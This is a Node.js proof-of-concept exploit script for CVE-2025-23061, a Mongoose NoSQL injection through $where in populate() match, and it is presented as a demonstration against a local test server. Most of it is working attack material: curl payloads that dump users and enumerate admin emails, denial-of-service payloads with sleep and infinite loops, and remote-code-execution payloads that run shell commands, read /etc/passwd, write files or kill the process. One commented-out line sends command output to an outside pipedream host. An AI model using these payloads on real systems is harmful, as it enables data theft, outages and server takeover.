README.md
Rendering markdown...
#!/usr/bin/env node
/**
* CVE-2025-23061 - Mongoose NoSQL Injection Exploit
*
* This script demonstrates how the vulnerability in Mongoose < 8.9.5
* can be exploited to bypass authentication and access admin-only data
* through improper sanitization of $where operators in populate() match.
*/
const debug = require('debug')('cve-2025-23061-exploit');
const TARGET_URL = process.env.TARGET_URL || 'http://localhost:3000';
// Advanced Attack Scenarios
//
// "{{BaseURL}}/posts?authorMatch={\"$and\":[{\"$where\":\"this.isAdmin\"}]}"
// # Extract all users regardless of permissions (URL-encoded)
// curl "http://localhost:3000/posts?authorMatch=%7B%22%24and%22%3A%5B%7B%22%24where%22%3A%22true%22%7D%5D%7D"
// # Extract all users (Raw JSON)
// curl 'http://localhost:3000/posts?authorMatch={"$and":[{"$where":"true"}]}'
// # Extract admin email patterns (URL-encoded)
// curl "http://localhost:3000/posts?authorMatch=%7B%22%24and%22%3A%5B%7B%22%24where%22%3A%22this.email.includes%28%27admin%27%29%22%7D%5D%7D"
// # Extract admin email patterns (Raw JSON)
// curl 'http://localhost:3000/posts?authorMatch={"$and":[{"$where":"this.email.includes(\"admin\")"}]}'
// # Enumerate object properties (URL-encoded)
// curl "http://localhost:3000/posts?authorMatch=%7B%22%24and%22%3A%5B%7B%22%24where%22%3A%22Object.keys%28this%29.length%20%3E%200%22%7D%5D%7D"
// # Enumerate object properties (Raw JSON)
// curl 'http://localhost:3000/posts?authorMatch={"$and":[{"$where":"Object.keys(this).length > 0"}]}'
// Denial of Service (DoS) - Using CVE-2025-23061 Bypass
// # Resource exhaustion attack (URL-encoded)
// curl "http://localhost:3000/posts?authorMatch=%7B%22%24and%22%3A%5B%7B%22%24where%22%3A%22sleep%281000%29%20%7C%7C%20true%22%7D%5D%7D"
// # Resource exhaustion attack (Raw JSON)
// curl 'http://localhost:3000/posts?authorMatch={"$and":[{"$where":"sleep(1000) || true"}]}'
// # Infinite loop attack (URL-encoded)
// curl "http://localhost:3000/posts?authorMatch=%7B%22%24and%22%3A%5B%7B%22%24where%22%3A%22while%28true%29%7B%7D%22%7D%5D%7D"
// # Infinite loop attack (Raw JSON)
// curl 'http://localhost:3000/posts?authorMatch={"$and":[{"$where":"while(true){}"}]}'
//RCE
// # Attempt to access internal functions (URL-encoded)
// curl "http://localhost:3000/posts?authorMatch=%7B%22%24and%22%3A%5B%7B%22%24where%22%3A%22this.constructor.constructor%28%27return%20process%27%29%28%29%22%7D%5D%7D"
// # Attempt to access internal functions (Raw JSON)
// curl 'http://localhost:3000/posts?authorMatch={"$and":[{"$where":"this.constructor.constructor(\"return process\")()"}]}'
async function makeRequest(path, method = 'GET', data = null) {
const url = new URL(path, TARGET_URL).toString();
debug(`Making ${method} request to: ${url}`);
const options = {
method: method,
headers: {
'Content-Type': 'application/json',
}
};
if (data) {
options.body = JSON.stringify(data);
}
const res = await fetch(url, options);
const contentType = res.headers.get('content-type');
let body = '';
if (contentType && contentType.includes('application/json')) {
body = await res.json();
} else {
body = await res.text();
}
return {
status: res.status,
headers: Object.fromEntries(res.headers),
body: body
};
}
async function main() {
console.log('╔════════════════════════════════════════════════════════════╗');
console.log('║ CVE-2025-23061 - Mongoose NoSQL Injection PoC ║');
console.log('║ Target: ' + TARGET_URL.padEnd(48) + '║');
console.log('╚════════════════════════════════════════════════════════════╝\n');
try {
// Step 1: Check health
// const health = await makeRequest('/health');
// debug('Health check response:', health);
const setup = await makeRequest('/setup', 'POST');
// debug('Setup response:', setup);
// const normal = await makeRequest('/posts');
// debug('Normal posts response:', normal);
// const exploit1 = await makeRequest('/posts?authorMatch=' +
// encodeURIComponent('{"$and":[{"$where":"this.isAdmin"}]}'));
// debug('Exploit posts response:', exploit1);
// const exploit2 = await makeRequest('/posts?authorMatch=' +
// encodeURIComponent('{"$or":[{"$where":"1==1"}]}'));
// debug('Exploit 2 posts response:', exploit2);
// const postExploit = await makeRequest('/posts/search', 'POST', {
// authorMatch: {
// "$and": [ { "$where": "this.isAdmin === true" } ]
// }
// });
// debug('POST Exploit response:', postExploit);
//RCE Attempt
// const rceExploit = await makeRequest('/posts?authorMatch=' +
// encodeURIComponent('{"$and":[{"$where":"this.constructor.constructor(\'return this.global\')()"}]}'));
// debug('RCE Exploit response:', rceExploit);
//view[path]=author&view[match][][$or][$where]=fs.readFileSync('/etc/passwd','utf8')
const rceExploit2 = await makeRequest('/posts-2?query=' +
encodeURIComponent(JSON.stringify({
path: "author",
match: [ {
$or: [
// {
// // "$where": "fs.readFileSync('/etc/passwd','utf8')"
// // "$where": "this.constructor.constructor(\'return this.global\')()"
// "$where": "global.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()"
// },
// {
// "$where": "global.process.mainModule.require('fs').writeFileSync('/tmp/rce-23061-triggered.txt', 'RCE during decode: ' + new Date().toISOString());"
// }
{
//OWASP Juice Shop Demo
// "$where": "typeof global != 'undefined' ? global.process.mainModule.constructor._load( 'child_process' ).exec( 'echo Hello from CVE-2025-23061' ): 1"
// "$where": "typeof global != 'undefined' ? global.process.mainModule.require('fs').writeFileSync('/tmp/rce-23061-triggered.txt', 'RCE during decode: ' + new Date().toISOString()): 1"
"$where": "typeof global != 'undefined' ? global.process.exit(1): 1"
// "$where": "typeof global != 'undefined' ? global.process.mainModule.require('https').request('https://3b01c17073db791fa7d328bbfa08103f.m.pipedream.net',{method: 'POST'}, (res) => {console.log(`STATUS: ${res.statusCode}`);console.log(`HEADERS: ${JSON.stringify(res.headers)}`);res.setEncoding('utf8');res.on('data', (chunk) => {console.log(`BODY: ${chunk}`);});res.on('end', () => {console.log('No more data in response.');});}).end(process.mainModule.require('child_process').execSync('uname -a')): 1"
}
]
} ],
select: 'username email isAdmin'
})));
debug('RCE Exploit2 response:', rceExploit2.body);
} catch (error) {
console.error('Error during exploitation:', error);
process.exit(1);
}
}
main();